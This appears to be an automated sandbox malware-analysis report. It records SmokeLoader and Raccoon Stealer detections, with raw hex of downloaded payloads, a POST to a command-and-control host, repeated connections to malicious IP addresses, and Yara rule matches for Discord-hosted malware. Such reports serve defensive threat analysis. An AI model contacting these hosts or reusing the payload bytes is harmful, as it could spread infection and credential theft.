21 0b 5a f3 43 93 3a 1a 3e cf 00 8e ff 0e 43 d7 07 53 53 fa cb 1f 9e fd 09 51 2a ee 8c 8a 7b 7e 85 f6 ff 78 f3 56 db c4 0d 13 13 e3 0f e0 92 24 18 4f c5 03 71 ca a1 61 7e 9e f5 69 a9 19 17 7e 5d af 9a a0 44 c9 a0 c1 b9 dd 7a 08 90 4e 19 e0 2c 95 a9 18 7a f0 96 be 21 51 61 9a d4 3e 7c 8a 28 c8 c9 6b a1 d0 4a 9a 13 fd ec 9e aa 6b ac 87 3f bd 61 0d c0 5d bf 56 34 fd f8 a2 7a 31 6c 1a 7c 0a 8d 1b f9 e6 0e 10 eb 7e 71 eb 90 f0 1a 10 de 4a d8 19 ae cc 4f 3b 79 82 ae 9c 97 02 4c 75 56 ad f3 57 3b 2a b9 72 ee cc 23 22 a6 0f 31 65 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 73 33 cd 46 99 48 15 ac af eb d9 55 3d af ba 68 92 de fe 9d 57 7c 55 40 57 64 7b 39 66 e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 33 44 77 29 f8 70 17 4b a8 d4 de 8e 82 11 e8 e4 1f 9e a0 90 4e a5 54 55 a5 8e b7 1b 6f c3 cb 29 32 28 e7 5b 3e 54 ab 7e 08 0f 75 8f b7 af 57 a3 af 5b 85 1f d4 8c 69 91 9c 61 06 f1 2c 9a af 03 5b e5 1f e4 a6 7d 10 9f 10 b9 d9 b0 d9 07 99 ca e3 80 1e 00 18 50 6d 43 e4 56 89 8b e1 42 78 d7 9c 9e c3 e0 2b a5 b6 bb 01 7a 17 28 d2 ae 46 1f d0 a1 aa 7a cf f6 6b 23 e3 a2 aa 45 63 80 e3 1c b1 65 f5 52 48 d4 3f 96 4d 8d e7 17 3f fe e7 7e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca c2 cf 25 6e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:31:14 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 29 Oct 2021 13:32:24 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Wed, 01 Sep 2021 16:21:39 GMTETag: "612fa893-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51 dd 08 20 8e a8

Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 216.128.137.31
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181
Source: unknown	TCP traffic detected without corresponding DNS query: 194.180.174.181

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://bkhtxo.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: hajezey1.top

Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 81.177.141.36:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.7:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.135.233:443 -> 192.168.2.7:49850 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 26.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.1.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.97A5.exe.2cb15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.1.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.cviueca.2c715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.3180e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.192F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.97A5.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.0.cviueca.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.cviueca.2d815a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SkB6zJ6H3N.exe.2be15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.SkB6zJ6H3N.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.1.cviueca.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.3.192F.exe.3190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000021.00000002.450724070.00000000047F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368853755.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404074560.00000000004F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.294055792.0000000003111000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.368895221.00000000004E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.308080762.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419226513.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.449678502.0000000002C10000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.402440778.0000000003190000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.404878363.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.307863142.0000000000420000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.419361924.00000000031B1000.00000004.00020000.sdmp, type: MEMORY

Source: SkB6zJ6H3N.exe, 00000000.00000002.253287866.0000000002DFA000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.3.32BC.exe.48a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000003.442845982.00000000048A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 32BC.exe PID: 5540, type: MEMORYSTR

System Summary:

.NET source code contains very large array initializations

Show sources

Source: 8746.exe.7.dr, ue60aue64bue63aue60cue62cue60aue610ue60fue63aue63due63aue60bue61cue63cue623.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704
Source: EDD.exe.7.dr, ???????????????.cs	Large array initialization: System.Byte[] ???????????????::???????????????: array initializer size 8704

Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E32A9
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DE2C5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4AEF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFA2B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9BEB8A
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94EBB0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94ABD8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A968BE8
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C23E3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A309
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93AB40
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A933360
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92B090
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916800
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1002
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93A830
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A948840
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932990
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9399BF
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A934120
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E2EF7
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A936E30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A99AE60
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D67E2
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9435D0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A910D20
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932D50
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E1D55
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_004368C0
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_0041EDBE

Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 192F.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_CURSOR type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 75B0.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: sfiueca.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.27.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: AdvancedRun.exe.27.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: taskschd.dll

Source: SkB6zJ6H3N.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 28.0.EDD.exe.810000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 28.0.EDD.exe.810000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 31.0.319A.exe.d50000.3.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
Source: 27.0.5D4.exe.3b0000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =
